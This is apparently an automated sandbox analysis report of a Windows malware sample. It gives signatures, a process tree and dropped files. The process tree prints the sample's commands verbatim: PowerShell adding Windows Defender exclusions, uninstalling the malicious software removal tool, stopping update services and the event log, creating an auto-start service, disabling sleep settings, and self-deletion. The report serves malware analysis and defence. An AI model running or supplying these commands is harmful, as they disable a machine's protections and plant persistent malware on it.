Analysis

  • max time kernel
    16s
  • max time network
    19s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260617-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    25/06/2026, 13:27

Errors

Reason
Machine shutdown

General

  • Target
    _6b7f6d33611b0362d7a60dea3e6f75f3745b3ebb9d25285106bc945943b14af5.exe
  • Size 3.3MB
  • Sample260625-qp8dmacv7p
  • SHA256 6b7f6d33611b0362d7a60dea3e6f75f3745b3ebb9d25285106bc945943b14af5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\_6b7f6d33611b0362d7a60dea3e6f75f3745b3ebb9d25285106bc945943b14af5.exe
    "C:\Users\Admin\AppData\Local\Temp\_6b7f6d33611b0362d7a60dea3e6f75f3745b3ebb9d25285106bc945943b14af5.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4752
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5660
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
        PID:5948
        • C:\Windows\System32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
            PID:4760
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop UsoSvc
          2⤵
          • Launches sc.exe
          PID:5048
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop WaaSMedicSvc
          2⤵
          • Launches sc.exe
          PID:2976
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop wuauserv
          2⤵
          • Launches sc.exe
          PID:1728
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop bits
          2⤵
          • Launches sc.exe
          PID:2084
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop dosvc
          2⤵
          • Launches sc.exe
          PID:2640
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          2⤵
          • Power Settings
          PID:5984
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
          2⤵
          • Power Settings
          PID:1436
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          2⤵
          • Power Settings
          PID:3684
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
          2⤵
          • Power Settings
          PID:4492
        • C:\Windows\system32\dialer.exe
          C:\Windows\system32\dialer.exe
          2⤵
            PID:3904
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe delete "TOPSOCSR"
            2⤵
            • Launches sc.exe
            PID:2372
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe create "TOPSOCSR" binpath= "C:\ProgramData\rcmeotmtrtmm\szlvtzbcbfby.exe" start= "auto"
            2⤵
            • Launches sc.exe
            PID:5828
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop eventlog
            2⤵
            • Launches sc.exe
            PID:300
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe start "TOPSOCSR"
            2⤵
            • Launches sc.exe
            PID:264
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\_6b7f6d33611b0362d7a60dea3e6f75f3745b3ebb9d25285106bc945943b14af5.exe"
            2⤵
              PID:260
              • C:\Windows\System32\choice.exe
                choice /C Y /N /D Y /T 3
                3⤵
                  PID:1320
            • C:\ProgramData\rcmeotmtrtmm\szlvtzbcbfby.exe
              C:\ProgramData\rcmeotmtrtmm\szlvtzbcbfby.exe
              1⤵
                PID:3256
                • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:3744
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                  2⤵
                    PID:2988
                    • C:\Windows\System32\wusa.exe
                      wusa /uninstall /kb:890830 /quiet /norestart
                      3⤵
                        PID:5136
                    • C:\Windows\system32\sc.exe
                      C:\Windows\system32\sc.exe stop UsoSvc
                      2⤵
                      • Launches sc.exe
                      PID:5464
                    • C:\Windows\system32\sc.exe
                      C:\Windows\system32\sc.exe stop WaaSMedicSvc
                      2⤵
                      • Launches sc.exe
                      PID:596
                    • C:\Windows\system32\sc.exe
                      C:\Windows\system32\sc.exe stop wuauserv
                      2⤵
                      • Launches sc.exe
                      PID:4728
                    • C:\Windows\system32\sc.exe
                      C:\Windows\system32\sc.exe stop bits
                      2⤵
                      • Launches sc.exe
                      PID:916
                    • C:\Windows\system32\sc.exe
                      C:\Windows\system32\sc.exe stop dosvc
                      2⤵
                      • Launches sc.exe
                      PID:5664
                    • C:\Windows\system32\powercfg.exe
                      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                      2⤵
                      • Power Settings
                      PID:2716
                    • C:\Windows\system32\powercfg.exe
                      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                      2⤵
                      • Power Settings
                      PID:4268
                    • C:\Windows\system32\powercfg.exe
                      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                      2⤵
                      • Power Settings
                      PID:1940
                    • C:\Windows\system32\powercfg.exe
                      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                      2⤵
                      • Power Settings
                      PID:1064
                    • C:\Windows\system32\dialer.exe
                      C:\Windows\system32\dialer.exe
                      2⤵
                        PID:1192
                      • C:\Windows\system32\dialer.exe
                        C:\Windows\system32\dialer.exe
                        2⤵
                          PID:4512
                        • C:\Windows\system32\dialer.exe
                          dialer.exe
                          2⤵
                            PID:2948

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              szlvtzbcbfby.exe

                              • Path C:\ProgramData\rcmeotmtrtmm\szlvtzbcbfby.exe
                              • Size 3.3MB
                              • SHA256 6b7f6d33611b0362d7a60dea3e6f75f3745b3ebb9d25285106bc945943b14af5
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              __PSScriptPolicyTest_qznsn3ek.p50.ps1

                              • Path C:\Windows\SystemTemp\__PSScriptPolicyTest_qznsn3ek.p50.ps1
                              • Size 60B
                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                              • MD5 SHA1 SHA512 TLSH

                              memory/3744-37-0x000001375A2E0000-0x000001375A392000-memory.dmp

                              memory/3904-26-0x0000000140000000-0x000000014002B000-memory.dmp

                              memory/3904-25-0x0000000140000000-0x000000014002B000-memory.dmp

                              memory/3904-27-0x0000000140000000-0x000000014002B000-memory.dmp

                              memory/3904-28-0x0000000140000000-0x000000014002B000-memory.dmp

                              memory/4512-45-0x0000000140000000-0x0000000140014000-memory.dmp

                              memory/5660-9-0x00007FFBEB330000-0x00007FFBEBCD4000-memory.dmp

                              memory/5660-21-0x00007FFBEB330000-0x00007FFBEBCD4000-memory.dmp

                              memory/5660-14-0x000001EFEF920000-0x000001EFEF93E000-memory.dmp

                              memory/5660-15-0x000001EFEFBA0000-0x000001EFEFC52000-memory.dmp

                              memory/5660-16-0x000001EFEF940000-0x000001EFEF94A000-memory.dmp

                              memory/5660-17-0x00007FFBEB330000-0x00007FFBEBCD4000-memory.dmp

                              memory/5660-18-0x00007FFBEB330000-0x00007FFBEBCD4000-memory.dmp

                              memory/5660-19-0x00007FFBEB330000-0x00007FFBEBCD4000-memory.dmp

                              memory/5660-20-0x00007FFBEB330000-0x00007FFBEBCD4000-memory.dmp

                              memory/5660-11-0x00007FFBEB330000-0x00007FFBEBCD4000-memory.dmp

                              memory/5660-22-0x00007FFBEB330000-0x00007FFBEBCD4000-memory.dmp

                              memory/5660-24-0x00007FFBEB330000-0x00007FFBEBCD4000-memory.dmp

                              memory/5660-10-0x00007FFBEB330000-0x00007FFBEBCD4000-memory.dmp

                              memory/5660-0-0x00007FFBEB4BF000-0x00007FFBEB4C0000-memory.dmp

                              memory/5660-8-0x00007FFBEB330000-0x00007FFBEBCD4000-memory.dmp

                              memory/5660-5-0x00007FFBEB330000-0x00007FFBEBCD4000-memory.dmp

                              memory/5660-4-0x00007FFBEB330000-0x00007FFBEBCD4000-memory.dmp

                              memory/5660-2-0x000001EFEF860000-0x000001EFEF882000-memory.dmp

                              memory/5660-3-0x00007FFBEB330000-0x00007FFBEBCD4000-memory.dmp

                              memory/5660-1-0x00007FFBEB330000-0x00007FFBEBCD4000-memory.dmp